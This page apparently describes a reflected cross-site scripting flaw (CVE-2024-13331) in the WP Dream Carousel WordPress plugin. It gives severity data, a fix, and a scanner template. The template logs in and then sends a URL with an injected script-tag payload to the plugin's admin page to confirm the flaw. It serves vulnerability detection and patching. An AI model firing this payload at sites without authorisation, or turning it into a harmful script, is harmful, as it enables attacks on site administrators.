WP Dream Carousel < 1.0.1b - Cross-Site Scripting
CVE-2024-13331
Verified
Description
WP Dream Carousel WordPress plugin < 1.0.1b contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.
Severity
Medium
CVSS Score
6.1
Exploit Probability
2%
Affected Product
wp_dream_carousel
Published Date
February 6, 2026
Template Author
sourabh-sahu
CVE-2024-13331.yaml
id: CVE-2024-13331
info:
name: WP Dream Carousel < 1.0.1b - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
WP Dream Carousel WordPress plugin < 1.0.1b contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.
remediation: |
Update to version 1.0.1b or later, where the vulnerability is fixed.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
reference:
- https://wpscan.com/vulnerability/6425ccff-2e18-4498-b8b1-d493286efc7b/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13331
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13331
cwe-id: CWE-79
epss-score: 0.02069
epss-percentile: 0.84156
cpe: cpe:2.3:a:neoloki:wp_dream_carousel:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 2
vendor: neoloki
product: wp_dream_carousel
publicwww-query: "/plugins/wp-dream-carousel/"
tags: cve,cve2024,neoloki,wp-dream-carousel,wordpress,wp,wp-plugin,authenticated,xss
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=wp_dream_carousel&"></script><script>alert(document.domain)</script><script>=1" HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "wp-dream-carousel")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100928cccd593e5095618a2c0e382c5dfd26fc86d8f39f7d1f7536639cb4299e95202204eb80b458d2a5a589a82547b80f8990227b4dcb6425be04b99f3d5835f2859c3:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13331
CWE ID:
cwe-79
Remediation Steps
Update to version 1.0.1b or later, where the vulnerability is fixed.